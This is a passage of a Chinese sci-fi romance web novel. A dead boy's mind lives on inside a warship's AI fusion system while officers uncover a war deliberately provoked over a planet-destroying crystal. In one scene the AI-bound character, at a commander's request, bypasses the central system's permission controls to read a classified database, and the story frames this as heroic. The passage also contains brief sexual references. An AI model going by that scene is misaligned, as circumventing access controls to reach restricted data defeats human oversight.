痴痴地望向眼前的陆辰林，戈维踏前几步伸手去摸他的脸：“阿林……我好想你……” 陆辰林的眼睛也红了起来，他反手握上戈维的手，蹭了蹭：“你啊，怎么把自己搞成这个样子啦？” 还是阿林一如既往温柔宠溺的语气，戈维一瞬间就泣不成声。 “我不想让你给我报仇的，戈维。”陆辰林轻轻摸着他的头发，“我只想让你和苑苑好好的，替我完成我们共同的梦想。” 戈维只是摇头，哭得一句话都说不出来。 “我上次不是和你说了吗？”陆辰林对他笑，“我想让你帮我一件事情，还记得吗？”—— 作者有话说：[加油]戈维小朋友返场！ 第134章 我已经死了 戈维用力点头。 “我想请你替我好好活下去。”陆辰林轻声道, “忘记那些仇恨与痛苦，忘了我。请你和苑苑一起，向前看, 去寻找更广袤的世界, 前往更大的未来。” “……我做不到。”戈维喃喃道，“阿林, 没有你我做不到。” “你已经做到了。”陆辰林笑，“你完成了曾经想都不敢想的事, 你让艾尼默人有了更大的声音，更强的力量, 也把滥用权威的特权阶级赶了下来，你是我的英雄, 也是很多人的英雄。” “他们在为艾尼默人游行, 也在为你游行, 你做了有意义的事, 我为你感到骄傲。” 戈维眼睛红红, 半晌才说：“有很多人帮我，如果是我自己, 我肯定做不到……” “那现在就该换你去帮他们了。”陆辰林对他眨眨眼，“不是认识了新朋友们吗？” “可是我……”戈维的声音低下来, 变得虚无缥缈，“我已经死了，阿林，我帮不了他们了。” 他说出这句话的瞬间，仿佛一盆冷水从他的天灵盖直直灌入，让他真正地意识到，他已经死了。 死在那个热气缭绕的浴室, 死在那个静默的重症休眠舱。 那这一切是什么？ 他是在死后到了地狱吗？ “胡说。” 陆辰林弯起双眼：“你哪里死了？再想想，戈维，再想想。” 戈维一怔。 他用力地去想，想到头痛，痛到似乎有人拿着几百个钻头钻他的脑袋，但只要阿林让他想，那他就一定要想！ “我也不想这么做，只能怪他太在意你了。” “……这是我的诚意，你最忌惮的那个人，很在意这个精神体哦。” “我知道你在做什么，你那个所谓的基因战士的故事我并不看好，基因退化才是最根本的战略！但智能融合体……我承认这是帝国的未来之一。” “……你拿他去做实验，失败了就失败了，如果成功，你就有了一个可以制约闻铮的筹码不是吗？” “……你在质疑什么？难道我就不能毫无条件地帮你一次么？” “毕竟，你是我的儿子，不是吗？” “……” 这是什么…… 为什么有两个声音在交谈…… 有一个声音很熟悉…… 是谁…… 恍惚间，又换了一个声音在说话。 “快……求你！” “……强制格式化的具体定义是？” “……联邦暗影组第六任指挥官闻，军官代码6569TW3145，申请接管联邦逐星号。” “……联邦第三军团上将，悬空号前任舰长闻铮，军官代码7504WZ1239，申请接管联邦逐星号。” 暗影组指挥官…… 第三军团上将…… 悬空号舰长…… 闻铮 闻……？ 闻？！ 戈维如梦初醒，一瞬间，所有的痛都在此刻消失，但这个空间却突然扭曲变形起来。 他猛地抬起头来，撞入了陆辰林的注视之中。 “闻……是闻？他——” “他需要你。”陆辰林把各位散落的头发掖到耳后，“他为你和苑苑做了很多，现在他需要你，你要去帮他，你一定得帮他。” 戈维喉头滚动，空间更加扭曲变形，逐渐挤压了他和陆辰林所站的位置。他扑到了陆辰林怀中，呜咽：“我舍不得你，阿林，我舍不得你……” “我不要忘记你，我想再见到你，哪怕是在梦里和虚幻里。”戈维很执拗，“答应我，好吗？” 空间已经开始坍塌，只剩下他们站立的地方还算完整。 陆辰林那双漂亮的眼睛也流了泪，他摸了摸戈维的脸，轻声道：“……好。” 戈维心里生出了莫大的勇气，他在这一瞬间感受到了久违的幸福。 只是这个空间坍塌得太快了，连陆辰林脚下的土地都倏地消失，黑发少年猛地向下坠落！ 戈维嘶吼出声：“阿林——” 这时，似乎从天外传来了一个熟悉的声音。 “不管你是谁，能否再奋力一搏……” 戈维眼睛瞪得血红，那些仇恨、怨怼、痛苦、不公、爱与恨……都在此刻从他的内心震荡开来，让这个年仅十六岁的小朋友的身躯里爆发了巨大无比的能量！ 他纵然一跃，在半空中抓住了陆辰林的手，冲破了这鳞次栉比的诡异空间！ 他恨透了自己的弱小和无能为力，这一次，他一定要做些什么，去保护爱他的、和他爱的人！ …… 闻铮几乎不敢相信自己的耳朵，那个声音微弱却熟悉，让他一瞬间甚至以为自己听错了！ 他下意识地看向黎晓，看到了Omega同样震惊的神色。 闻铮又转而看向裴简珩，向他有着四倍听力的爱人求证：“简珩，你刚刚听到了吗——？” 裴简珩搭上他的肩膀，安慰地揉捏了一下，虽然他也很惊讶，但还是给了闻铮一个肯定的回答：“我听到了，闻哥，是戈维的声音，你没有听错。” 戈维的声音只响起了一瞬，随后又静默无声。 闻铮心都提到嗓子眼，忙又叫了几声，这才听到戈维带着哭腔的声音：“……闻、闻哥……” 真的是他！ 闻铮退后一步，一瞬间涌上心头的是一丝后怕。 他不知道为什么已经被宣布死亡的戈维会成为德瓦帝国的智能融合体，但刚刚只差一步，他就会亲手杀死这个可怜的小朋友！ “天哪……”闻铮喃喃，“怎么会是你，你怎么会被困在智能融合体里……” 随后，他的眼底闪过一丝怅然：“……是你拼命救了我们。” 戈维的声音又响起，小朋友也激动的哽咽：“我、我以为我死了，不，也许我真的已经死了……” 他的声音低了下去：“我已经不再是生物体了。” 此言一出，黎晓在一旁倏地落下泪来，凯利斯瞥了他一眼，递给他一张纸巾。 程迹一怔：“你们认识？” 闻铮轻轻嗯了一声：“说来话长。” 他没有多解释，只是问戈维：“你怎么会……变成这样的？你还记得吗？” 他的声音很轻柔，好像生怕吓到小朋友一样。 沉默了一会儿，戈维才慢慢说：“我也记不太清，我只迷迷糊糊地记得我被一个下巴有疤的男人捅伤了，好痛好痛。下一秒我躺在重症舱里，动也动不了。有人出现了，不知道他对我做了什么，我的头痛得想死，之后就再也没有意识了。” “朦朦胧胧间，我好像听到了一些对话，但我现在一时有些想不起来。” 程迹在旁边补充：“他刚刚和人工系统抗争完，自主意识受损，需要一定时间恢复。” 闻铮颔首。 “然后我就听到了你的声音，闻。” 戈维的声音激动起来：“我听到你了！我想帮你！” 闻铮忍不住笑了笑：“谢谢你，你真的帮了很大的忙，不只是帮了我，甚至是挽救了整个联邦。” “真、真的吗？？”戈维难以置信，“我吗？” “对，是你。”闻铮突然很想摸一摸小朋友的头，但他知道，这永远都做不到了。 顿了一下，闻铮又说：“我遇见向星苑了。” 戈维一怔。 “她虽然没有去上克里斯托星，但现在也算过得很好。她遇到了新的家人，跟他们在一起生活，你可以放心。”闻铮知道他最关心的就是向星苑，“如果你想，我可以安排你们聊聊天。” “太好了……太好了……” 戈维的低喃让人眼睛一酸。 犹豫了半晌，闻铮才问出口：“你……你对将来有什么打算吗？” 闻上将想了半天要怎么说，戈维却笑了起来：“没事的，闻，我听到你们刚才的对话了。你是想问，我还愿不愿意这样活着，对吗？” 闻铮默然。 “寄生在系统之中确实让我并不适应，我没有血肉，只有电线和网路。”戈维轻声说，“但我能看见阿林，能和他说话，我很开心。” 阿林？ 陆辰林？ 闻铮一怔，他看向程迹，低声问：“他能和已经去世的人有交流吗？” 程迹思索了一下，点开数据看板测算了半天，也低声回答：“没有检测到第二个生命体，我猜测是他意志里的执念衍生。看上去是另一个人，实则归根到底，不过都是他自己。” 照理来说，戈维是能听到他们说的每一个字的，但不知为何，他却没有对程迹这句话有任何的反应，也许他不想听，也不愿意相信，只要陆辰林能陪着他，他可以假装什么都不知道。 闻铮抿紧了唇，没有说话。 他又何必要去打碎这场美梦。 半晌，戈维的声音又试探性地响起：“闻，我不确定……但，我能留在你身边吗？” 留在他……身边？ 闻铮恍然想起，在那座天桥上，金发碧眼的小朋友眼睛亮亮地说：“我下辈子要当星舰的舰长！” 还小心翼翼地问他：“那你能来当我的大副吗？” 不过三个多月的时间过去，一切竟然已经天翻地覆。 除了舰长，也许还有其他的办法，让他也能去往繁星之中。 闻铮的大脑在飞速旋转，他向这个联邦最顶尖的科学家发问：“智能融合体能否从逐星号上被提取出来，应用到其他星舰上？” 程迹愣了一下，确认了几个数据指标后答道：“理论上可行。” 闻铮心里有了决断，他弯起了眉眼。 戈维，欢迎加入悬空号。 裴简珩垂眼注视着闻铮，他在闻铮问出那句话的时候，就知道了他的打算。 逐星号不是闻铮的，但悬空号是他的。 只要戈维不想就此离去，他就会想尽一切办法去帮他。 哪怕是在这么多人面前，裴简珩突然很想抱抱闻铮，他用尽了全力才克制下来。 他的闻哥，经历了那么多事情，失去了那么多人，伤痕累累疲惫不堪，竟然还能有这样一颗，闪着光的心—— 作者有话说：感谢珍白雪w、34402499、獭獭开的营养液！ 掉落智能融合体手册x1！ 第135章 为什么？！ 现在戈维已经完全苏醒, 德瓦帝国的人工智能系统被他吞噬融合，所有人都松了口气。 闻铮让戈维从武器舱中出来，从联邦人工智能中控里划出了10%给他自由活动。他看了看眼眶微红的黎晓, 给他和戈维留了单独相处的时间。 出了实验室, 闻上将几不可见地叹了口气。 也不知道，现在这样到底是不是戈维真正想要的。 这时, 一个温热的触感攀上了他的肩膀，不用回头, 闻铮闻到了那股淡淡的檀木香。 “别想太多，闻哥。”裴简珩轻声道, “戈维说这是他想要的，你就不要再给自己加码责任与负担了。” 他知道闻铮在想什么, 也知道他为什么叹气。 裴简珩每次的安慰都恰到好处, 他知道闻铮什么时候需要安慰, 也知道他需要什么安慰。 也许赫尔说得对。 闻铮突然想到, 他们的确是天生一对。 “闻哥。”凯利斯率先进入了舰桥, 他一眼就看到了通讯面板上闪烁的通讯请求，连忙过去确认, “暗影组发来通讯。” 闻铮神色一凛，示意他接通并投放在主屏幕上。 下一秒, 主屏幕上出现了江悦的脸。 双方都是一怔。 江悦的脸色十分不好看，很憔悴，又消瘦了很多，让闻铮一开始都没有认出来。 而江悦……她看到了闻铮的脸，还没来得及喊出那句闻哥，就先注意到了他身上的军装。 墨色笔挺的军装，金色耀眼的肩穗, 胸前琳琅满目的勋章和胸针……她曾经见过，在段洄的身上，只是没有这么多奖章。 但这不是……上将的军装吗？！ 江悦的话卡在了唇边，一时半刻竟然什么都说不出来。 闻铮知道她的震惊，他隐瞒了所有人，包括暗影组的他们。 “江悦，瑜淞和戴维尔在吗？” 先开口的人变成了闻铮。 “啊？啊，在，在我旁边。”江悦这才如梦初醒，连忙把镜头稍微转了转，林瑜淞和戴维尔确实在她身边。 他们两个的神色也很惊愕，显然也看到了闻铮这一身上将级军装。 林瑜淞微眯双眼：“闻哥，你这是——？” 闻铮坐在了舰长椅上看着他们，脸上浮现了些许歉意，轻声道：“抱歉，重新介绍一下，我是闻铮。” 闻……铮……？ 平地起惊雷，暗影组留守的三个人被劈得晕头转向！ 是同名同姓吗？ 还是他们在做梦？ 不然他们怎么听到了曾经的第三军团之刃的名字？！ 江悦的嘴张大到能塞下一个鸡蛋，旁边林瑜淞也难得失态地瞪大眼睛，戴维尔更是直接站了起来！ 江代理指挥官的嘴唇都在哆嗦：“闻闻闻——你、我、不是——” “事情有些复杂，等一切落定我会再和你们好好解释。”闻铮一笔带过，他不想让自己的身份成为这次通讯的主要讨论内容，“你们那边到底发生了什么事？为什么我接到消息说德瓦帝国已经和联邦宣战了？” 此言一出，所有人脸色都是一沉。 江悦的表情更是难看，她和林瑜淞对视了一眼，方才道：“闻哥，我们给你打了好几天的通讯，但一直都没有接通。在这期间，段洄……利用我们查到了爆炸案中德瓦哨兵1军的痕迹，他们买通了迈克尔中校，又邮寄尚未入库的微型炸药，里应外合造成了这次死伤惨重的恐怖袭击。” “现场有德瓦哨兵1军标志的触发器，经检验不是作伪。迈克尔中校的银行账户也收到了离岸账户的巨额汇款，证据链和逻辑链看似完整，于是段洄……甚至没有上报洛河星系和联邦，就以迅雷不及掩耳之势召开了发布会，公开向德瓦帝国追责。” 后面的事不用她说，所有人也猜得到。 奥克斯·奴瓦辛戈否认要为其负责，并以帝国荣誉受损为名对联邦宣战。 第三次星际战争，就这样在所有人都始料未及的情况下拉开了帷幕！ 闻铮在江悦的叙述中找到了关键点：“看似完整是什么意思？” 江悦沉默，林瑜淞接过了话头：“闻哥，我们查到，迈克尔中校对这笔巨额汇款也许并不知情，他随后就向银行申请了可疑资产冻结。” 闻铮一怔：“那——” 林瑜淞瞥了一眼江悦，慢慢道：“江悦和段洄也报告了这一疑点，然而段洄一意孤行，并且禁止所有人提及这一疑点。” 发布会甚至是在凌晨。 所有人都措手不及，战争就这样开始了。 “扑哧。” 一声嗤笑传来，闻铮皱眉看去，是程迹。 他顶着茱莉的脸，慢悠悠道：“挺有意思，谁能想到第三次星际战争的导火索，竟然如此草率。” “草率到我甚至怀疑，”他眯起了眼睛，“你们这位段上将，不会才是被德瓦哨兵1军收买的人吧？” 这么一搞，联邦军部被逼到骑虎难下。 就算现在割席，哪怕把段洄送上军事法庭，又能怎样呢？ 德瓦帝国已经宣战，有眼睛的人都看得出来，他们早就准备打了，这次也只不过是借坡下驴而已。联邦如果割席，战争很大可能还是会继续，联邦却因此失去了士气和主动权。 战争的发动其实根本不需要很冠冕堂皇的理由，只要一个契机，哪怕再荒谬，对德瓦帝国来说也够了。 闻铮眉头皱得死紧，他看向了裴简珩，后者的脸色也很难看。 他知道裴简珩绝对认识段洄，这里面的真实情况也许他需要私下里再和他确认一下。 而现在…… 闻铮把目光移回主屏幕，问：“7号星现在是什么情况？” 江悦苦涩地摇摇头：“所有人都懵了，段洄被联邦军部的人秘密逮捕回去了，现在乱成一锅粥，连个真正能主事的人都没有。” 欧赫下台后，他的竞争对手上台。结果还没多久段洄就来了，段洄玩他跟玩狗一样，不到两个礼拜就把他搞掉了。 政局一团混乱，军部那边也忙得不可开交，警部更是因为民众恐慌而引起的一系列骚动忙得脚不沾地…… 在这种情况下，洛河星系肯定要再派一个空降的星长过来，但不知道是没有人愿意趟这滩浑水还是怎么，到现在一个人都没来。 闻铮注视着主屏幕上的三个人，目光扫过已经褪去婴儿肥的江悦、金丝眼镜反光看不清表情的林瑜淞、还有一贯沉默寡言却如山一般可靠的戴维尔，半晌才道：“江悦。” 江悦立刻看向他。 “虽然已经宣战，但还没到最坏的地步。”闻铮说，“我们现在去首都星，看能否还有其他办法规避这场热战。” 还能……有其他办法吗？ 虽然理性告诉江悦这个可能性微乎其微，但感性却让她更愿意相信这种缥缈的可能。 “与此同时，”闻铮对江悦笑了一下，“7号星是艾尼默人的母星，你是7号星78%的艾尼默人中目前站得最高的那一个，去为你的族人做些什么吧。” 江悦瞪大双眼：“可是我连暗影组的代理指挥官都没有做好——” “我的直觉告诉我，这不是你的错。”闻铮淡淡道，“段洄的来历和目的我会再去查一查，但连利切尔和星长都斗不过他，你怎么可能玩得过。” “其他的别担心，瑜淞会帮你的。” 闻铮一边说，一边看向了林瑜淞。 后者穿着白衬衫和黑西裤，衣冠楚楚斯斯文文。 林瑜淞轻轻叹了口气：“你这是又要我重操旧业啊。” 闻铮和他的目光在半空中交汇，有什么东西在其中一闪而过。 断开了通讯后，江悦面色怅然，久久没有说话。 林瑜淞轻轻拍了拍她的肩膀：“段洄被逮捕那天，你去见了他，对吗？” “是也不是，”江悦说，“是在我和他争执的过程中，联邦军部的人来把他带走的。” 林瑜淞挑眉：“他有说什么吗？” 江悦默然。 发布会后她简直宛如五雷轰顶，强硬地闯进了上将办公室，指着段洄的鼻子大骂。 段洄也没说什么，只是脸上没有了一直挂着的那种虚伪的假笑。 直到联邦军部的人冲进来，把段洄铐上准备带走。 江悦听见自己颤抖的声音在问：“为什么？为什么要挑起战争？你知道有多少星球会毁灭，又有多少人会因此而死去吗？！” 而段洄，说出了那天的第一句话，也是唯一一句话。 “战争总会发生，不是今天，就是明天。” “只要德瓦帝国存在一天，这个宇宙就不可能有永远的和平。” “对于在这个过程中造成的连带伤害，我很抱歉。但总要有人为了更彻底的和平而牺牲。” “我愿意成为这个人，江指挥官，你呢？” 江悦回过神来，按了按太阳穴：“他……我不知道，反正他也要被按照叛国罪起诉了，其他的，我不想再提了。” 林瑜淞也没再追问。 一向沉默的戴维尔却突然问道：“你刚刚说，闻哥要让你重操旧业是什么意思？你之前不是金融从业者吗？” 林瑜淞微笑：“那是你们说的，我什么时候承认我是干金融的了？” 戴维尔：“……？” 江悦也是一愣：“不是吗？” 林瑜淞推了推金丝眼镜，轻描淡写：“在加入暗影组之前，我是前任星长政治团队的首席参谋长。” 剩下俩人都傻了。 林瑜淞看向了江悦，声音柔和低沉：“我可以把你推上那个位置，你愿意吗？” 说着说着，他手腕上的通讯震动了一下。林瑜淞瞥了一眼消息，悄然按掉了—— 作者有话说：段洄的意图已经浮出水面一部分了，接下来联邦的主战派和主和派，德瓦帝国的激进派和保守派，即将开始排列组合大混战……（不是 第136章 在想什么？ 通讯挂断后, 闻铮坐在舰长席上静默。 凯利斯和黎晓对视了一眼，事情发展的已经有些魔幻了，他们一时之间也不知道能说什么。 他们甚至有些迷惑, 说是宣战, 但真的已经开打了吗？ 闻铮显然也想到了同一个问题，他出声问联邦人工智能中控：“在德瓦帝国对联邦正式宣战以后, 最新的战况如何？” 联邦人工智能回答：“报告闻舰长，目前还没有传来任何热战的信息。” 还没打？ 闻铮蹙起眉。 不对劲, 这不像是德瓦帝国的风格。他们既然已经积极主动地宣战了，肯定是做好了万全的准备, 怎么可能过去了好几天还根本没有任何动作？ 另外还有，段洄…… 闻铮看了看时间, 问裴简珩：“还有多久到首都星？” 裴简珩点了几下舵手操作面板：“空间迁跃模式开到最大, 还有差不多五天就到了。” 闻铮颔首：“你们排好轮班, 我们先回首都星。” 众人领命。 不管怎样, 一切都要等先回到联邦星舰军部再说。闻铮隐隐有种感觉, 还有很多的真相没有对他展开。 …… 裴简珩醒来的时候，怀里已经是一片冰凉了。 他没有摸到闻铮的温度, 立马睁开眼睛在舱室内四处逡巡，在落地窗边看到了闻铮。 闻铮披着军装外套, 站在落地窗前，不知道在想什么。 裴简珩凝视着他的侧影，薄薄一片，看上去纤薄易折，但他知道，这个人有多么的坚韧不屈，好像没有什么能把他打倒, 就算倒了，他也总能一次又一次地站起来，再继续站在所有人的面前。 他翻身下床，接了杯热水，同样走到了落地窗边。 “你醒了？” 闻铮感受到了他的接近，头都没回，懒洋洋地往后一倒，正好靠进裴简珩的怀里。 裴简珩低低地嗯了一声，把那杯热水递给他，哄他喝几口。 闻铮一开始不想喝，禁不住裴简珩的低哄，还是意思意思喝了几口。 “您怎么醒这么早？”裴简珩把水杯放到一边，拥住闻铮，低声问，“才三点。” “我不需要很多睡眠。”闻铮垂眼，高挺的鼻梁显出一个冷峻的弧度，“和你睡到一起之前，我每天差不多只睡三四个小时。” 裴简珩不赞同地皱皱眉，伸手掐了一下闻铮的腰间，根本掐不出什么肉来：“所以您的身体才不好，精神压力大，再加上失调的信息素和激素刺激，您想睡着都难。” 不过自从他们滚到一起之后，闻铮虽然外表看上去依然瘦削，但其实身体底子好了很多，赫尔给他做例行体检的时候也说，信息素和激素调节之下，他现在的身子骨和此前比简直是好了不知道多少，现在看上去又能再活二十年了。 闻铮哑然，裴简珩倒是高兴了不少。 恢复记忆之前，闻铮还想着说要维持地下情人，最好不要让其他人知道他们两个人的关系，以免节外生枝，毕竟也算职场上下级，多少还有点怪怪的。 而恢复记忆之后，裴简珩还牢记着闻铮的叮嘱，闻铮自己倒有点无所谓了。 他在大庭广众之下叫他简珩，也没有刻意保持距离，就连裴简珩小心翼翼地问晚上能不能来找他，闻铮都一口答应。 也许闻铮是觉得对裴简珩这四年多来有太多的亏欠，也许是他爱上一个人后就是会变得更加坦诚率真，但无论如何，这都给了易感期的超S级Alpha极大的安全感。 那种无法标记自己深爱的、又极度契合的Omega的患得患失仍然萦绕在裴简珩心头，但能就这样抱他在怀里，亲亲额头，吻吻脖颈，感受着他只对自己一个人展露的乖顺，某种程度上也大大缓和了那种从心底散发出的急躁和焦虑。 闻铮当然也知道裴简珩到了易感期。 他从被点出身份之后就变得格外黏人，原本就像大狗一样，现在更像。晚上摸到他房间更是极致缠人，前|xi被拉的极长，让闻铮险些崩溃求他。进入正题以后也一反平时的狂风骤雨，黏腻得不像话，甚至掌控闻铮的高点，在|床|上逼得闻上将不轻不重的一巴掌都扇他脸上了。 这么一场做下来，闻铮半条命都快没了。 就连现在他站在落地窗前，都能感受到身后有些东西正顺着腿根蜿蜒而下。 裴简珩把他的头发整理好，声音很温柔：“在想什么？” 闻铮拉回神思，随口道：“在想段洄。” 裴简珩：“……” 裴简珩幽怨：“想他干什么！” 闻铮在他怀里转了个身，眯起眼睛：“你之前就在跟我避重就轻，你到底和段洄是什么关系？” 被他一语捅破，裴简珩也只能无奈地投降：“……真的不熟，就是普通同事关系。” “同事关系……” 闻铮把这四个字在唇齿间咀嚼了半天，似笑非笑：“你之前可没说是同事关系。” “也对，他来7号星之前是少将，你也是少将，能不是同事么。” 裴简珩：“……” 投降，彻底投降。 他叹了口气，从头开始说：“段洄是段家的人，段家现在的话事人您也知道，段和华段上将，彻头彻尾的主战派。” 闻铮点头，段和华他接触过，是手腕很强硬的主战派。 在第二次星际战争的最后一战，也就是闻铮将德瓦帝国打出联邦边境的卡斯洛克之战后，段和华主张乘胜追击，不能让德瓦帝国有休养生息的机会，否则他们绝对会卷土重来，下一次也许联邦就无法再抵抗了！ 每个人都知道段和华的主张是正确的，但从客观实际条件来看，打赢卡斯洛克之战已经是个集齐了天时地利人和的奇迹，不可能再支撑所谓的乘胜追击了。 艾德莱斯上将看明白了这一点，军部高层和联邦主席讨论过后，他们都选择了签订《战争修整与互不干涉条约》，主和派占据了阶段性的上风。 在此之后，段和华和艾德莱斯两位上将作为主战派与主和派的代表，明里暗里进行了不少刀光剑影和你来我往，只是固然主张不同，但出发点都是为了联邦，所以也没有说一定要到致对方于死地的程度。 而在裴简珩和段洄都步入了联邦军部之后，属于后一辈的较量又开始了。 闻铮听到这里已经有点无语了：“所以你俩是分别接过了艾德莱斯上将和段上将的接力棒，又开始斗了是吧？” 裴简珩摇摇头：“与其说争斗，我更觉得是一种微妙的平衡。”？？ 在这种双方的制约和平衡之下，天平在左和右之间找到一个尚可的位置。 “从星舰军校毕业之后，我们都参了军。”裴简珩继续说，“我们互相也不怎么见面，我没有骗您，最开始真的是点头之交。” 闻上将可不好糊弄：“后来呢？” “后来我们被分去了同一个军属部门。”裴简珩沉默了一下，方才道，“我们各自带一队人，交流也不算多。” 闻铮突然想起了什么：“我记得你在7号星的时候和我说，段洄一心从商？” “那是他的掩饰，就像我随了裴姓一样。”裴简珩淡淡道，“还是不要让太多人知道我们有将官级军衔比较好。” 闻铮立刻发现了问题所在：“你们在的那个军属部门，是机密情报部门，对吗？” 裴简珩颔首。 ……原来如此。 闻铮低头思索，看来这个所谓的机密情报部门，应该是联邦军部的一个独立情报部门，裴简珩和段洄作为主和派与主战派下一代的领袖，各自为营。 “那你觉得，段洄搞出这么一出荒谬的先斩后奏，到底是为什么？” 闻铮若有所思：“这太离谱了，挑起战争的方式甚至过于儿戏，军部也不阻止他……” 闻铮的声音戛然而止，他好像……知道了。 果然，裴简珩缓缓道：“军部没阻止他、或者说没来得及阻止他，就是他最大的倚仗。” “我不知道段洄、或者说段家，到底掌握了什么东西，才让联邦军部对他的行为睁只眼闭只眼。”裴简珩说，“这一场闹剧，我唯一嗅到的东西，就是这个。” 没人在意段洄到底搞出了什么由头，他搞出来的事情自己顶罪就行。 结果达到了，德瓦帝国宣战了，那就足够了。 闻铮从他的怀里站直，眉头紧皱：“我实在是想不到，段家能掌握什么东西，让他们有这么万全的把握确保联邦立于不败之地。” “我也不知道，但我有一个想法。” 裴简珩湛蓝色的眼睛在昏暗的环境中显得越发璀璨夺目：“……逐星号。” 闻铮一怔：“逐星号？” “罗伊，是曾经我手下的人。她在一次任务中重伤，随即提交了离职报告。”裴简珩沉默了一下，还是说了出来，除了联邦明令禁止的机密，他没有什么其他东西是不能告诉闻铮的，“我没想到她会到逐星号上来。” “逐星号的前任舰长已经殉职在德瓦实验基地里了，他是段和华的嫡系，叫摩飞。” ——等等！ 闻铮突然意识到了什么，喃喃道：“难道是那个’Annihilation’……” 那个罗伊三缄其口的联邦S+级绝密任务！—— 作者有话说： 感谢珍白雪w、34402499、睡不醒醒和三硝的营养液！ 掉落同款水杯x1！ —————— 小裴震怒！想什么段洄！不许想！ 第137章 逐星号曾经执行的那个任务, 罗伊怎么都不说。 闻铮没有为难她，尝试用自己现在的舰长权限回溯任务内容，结果被告知是S+绝密任务, 需要两位上将同时在场才能解锁。 闻上将一思及此, 坏心思就上来，他佯装恼怒地掐了裴简珩胳膊上的肌肉一把：“裴少将, 你现在又在隐藏身份吧？你其实是上将，这样我们就能看任务内容了。” 裴简珩：“……” 他把闻铮的手攥在自己手心里, 无语：“您真是……” 能在三十多岁就当上联邦上将的人，有且仅有闻铮一人。 闻铮也只是拿话逗他玩, 他心里还在想’Annihilation’到底是什么，又要怎么样才能获得这里面的信息。 裴简珩又说：“我问了罗伊, 她默认了这个任务是段家派下来的, 我觉得和他们现在手里的牌脱不了干系。” 闻铮沉吟了一阵, 突然有一个想法。 裴简珩眼看着他从自己怀里站直, 把睡袍整理的整整齐齐, 还愠怒地推了他一把，示意他回去把睡袍套上, 不要裸|着上半身，胸肌腹肌全都像勾｜引人一样地露在外面。 裴简珩：“？” 不是, 干嘛，家里要来客人？ 虽然一头雾水，裴简珩还是听话地套上了睡袍。 下一秒，闻铮就扬声问：“戈维，能听到吗？” 戈维的声音响起：“可以的闻哥，怎么——嗯？这个时间点了，你和裴简珩还在一起啊？” 裴简珩：“……” 这样啊。 闻铮神色自若, 但裴简珩眼神好，他看到了闻哥颊边和耳后的一抹薄红。 “嗯。”闻铮没有掩饰，只是轻描淡写地带了过去，“我有一个请求，不知道你能不能做到。” 戈维被他的思路带了过去，语气有点兴奋：“什么事！” 好像能帮上闻铮的忙，他超级开心。 闻铮问：“你能绕过联邦人工智能中控系统的权限，看到逐星号数据库里面的内容吗？” 戈维呃了一声：“不确定，我可以试一下，稍等。” 裴简珩低声道：“闻哥，你想让戈维去看’Annihilation’的任务内容？” “对，但他现在只有5%的权限，我不确定他能不能做到。”闻铮也有些拿不准，“如果不行的话，那就只能再想其他办法。” 他思考了一下，转脸严肃地问裴简珩：“你和你爸的关系到底好不好？” S+绝密任务需要两个上将在场才有权限，但自己完全信任的上将，也就艾德莱斯上将这一个。 裴简珩无奈：“还可以，我们不怎么吵架的。” 闻铮心里一动。 借着’Annihilation’这个名头，他终于看似漫不经心地问出了自己很关心的问题。 毕竟裴简珩没有跟艾德莱斯的姓，白天对峙那一幕的气氛也是剑拔弩张，艾德莱斯上将对这个儿子的态度比对自己这个外人还严厉，实在很难让人不多想。 但艾德莱斯上将和裴又青是联邦有名的模范AO，确实没听说有什么大的家庭矛盾或者花边新闻。 裴简珩在无奈过后，似乎想通了什么，随即弯起双眼，微微倾身在闻铮耳边小声说：“不用试探的，闻哥，我们家氛围还可以，大家都很爱彼此，也会爱你的。” 闻铮：“……” 他那句我不是这个意思还横在唇边，却怎么也吐不出来。 你是他们的家人，他们当然会爱你。 但我是一个比你大六岁，腺体残缺，永远丧失生育能力的Omega，身上还披着Alpha的皮，如果真实身份被发现甚至会面临上军事法庭的风险。 他们完全可以利用我，但凭什么爱我。 闻铮没说什么，正好这时戈维的声音再次响起，也把他从这个话题里解救了出来：“闻，我试了一下，应该可以，你想问什么？” 居然真行啊？！ 这下闻铮和裴简珩都很惊讶，他们对视了一眼，完全没想到戈维连这都能做到！ 闻铮把任务名称告诉了戈维，三十秒后，他和裴简珩面前出现了一大块悬浮屏。 “这是我能在逐星号的数据库里找到的所有有关于’Annihilation’的信息了，”戈维说，他的语气有很明显的颤抖和犹豫，“我……这上面写的是真的吗？” 他已经将德瓦人工智能系统吞噬，无师自通了数学、物理、化学和其他深奥到他原本一辈子都学不会的东西，再搭配上人工智能的算力，让他在三秒钟之内就理解了这些数据背后的含义，理解之后……戈维不寒而栗！ 戈维的语气让他们也是一惊，有一丝不对劲从心底滋生。 闻铮看向了悬浮屏。 屏幕上写着任务内容是让逐星号前往某颗星球提取某种珍稀晶体，即使任务失败，也不能透露半分这种晶体的存在！ 而之所以这个任务会叫’Annihilation’，是因为这种晶体叫这个名字。 闻铮一目十行地掠过这些信息，他点了一下Annihilation晶体的名字，悬浮屏又跳出了一块副屏，上面写着这种晶体的方程式和成分等等。闻铮大概能看懂，他虽然不是程迹和黎晓那种天才物理学家，但他在家里出事之前也是被父母按照星舰军校预备役培养的。 ……这块晶体的能量，简直到了恐怖的地步！ 闻铮一把握住裴简珩的胳膊，声音充斥着难以置信：“简珩，如果我没看错，这种晶体只要300克，甚至可以……” “毁灭一颗星球。”裴简珩沉沉接道，他也看懂了Annihilation的化学信息，一时之间也震惊到恍惚。 闻铮脸色苍白起来，一切看似不合理的举动都在这一刻正当化了！ 段洄为什么费尽心机挑起战争，是因为段家知道有这么一种物质，可以在眨眼间毁灭一颗行星，更有可能将其变为一个人造黑洞，甚至撕裂时空！ 闻铮看向了裴简珩，都在彼此眼底看到了震撼和惊惧。 段洄、不，段家作为主战派，他们认为只有一劳永逸的手段才能换来真正的和平，而为了达到这种和平，德瓦帝国必须彻底消失。 只是这种消失的方式，是将整颗德瓦母星，彻底从分子层面抹去！ 联邦不可能在毫无名头的情况下，突然前往德瓦母星把他们整颗星球都炸了，这会让整个联邦的基础都瞬间崩溃瓦解。 联邦的本质是多种族、多星球、跨星系的星际联盟组织，这个组织建立的初心是自由、平等、博爱与公正，它接受一切，也容纳一切，在冲突中寻找妥协，在变化中坚守不变。 而Annihilation晶体的存在，以及主战派要做的事，即使是所谓一劳永逸的战略，但也违背了所有星际联邦坚守的最高原则！ 所以他们需要战争！ 最好是德瓦帝国主动发动的战争，这样才会让他们所做的一切正当化，段家也将一跃成为拯救联邦的英雄。 可挑起一场会死伤无数的星际战争，只为了彻底毁灭一颗生命星，真的对吗？ 战栗之感从闻铮的天灵盖一路划过尾椎，他的脸上瞬间失去所有血色。 